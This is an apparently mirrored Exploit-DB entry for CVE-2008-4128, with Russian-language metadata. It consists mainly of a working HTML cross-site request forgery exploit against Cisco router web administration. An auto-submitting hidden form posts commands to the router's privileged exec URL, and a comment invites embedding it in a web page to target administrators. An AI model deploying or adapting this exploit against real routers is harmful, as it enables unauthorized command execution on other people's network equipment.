- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 6476
- Проверка EDB
-
- Пройдено
- Автор
- JEREMY BROWN
- Тип уязвимости
- REMOTE
- Платформа
- HARDWARE
- CVE
- cve-2008-4128
- Дата публикации
- 2008-09-17
HTML:
<!-- Jeremy Brown [[email protected]/http://jbrownsec.blogspot.com]
Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #1
Replace "10.10.10.1" with the IP address of the target router, embed this in a web
page and hope for the best. Cisco Admin's + Safari are the best targets ;) -->
<html>
<body>
<body onload="asdf.submit();">
<form name=asdf method="post" action="http://10.10.10.1/level/15/exec/-">
<input type=hidden name=command value="show privilege">
<input type=hidden name=command_url value="/level/15/exec/-">
</body>
</html>
# milw0rm.com [2008-09-17]- Источник
- www.exploit-db.com
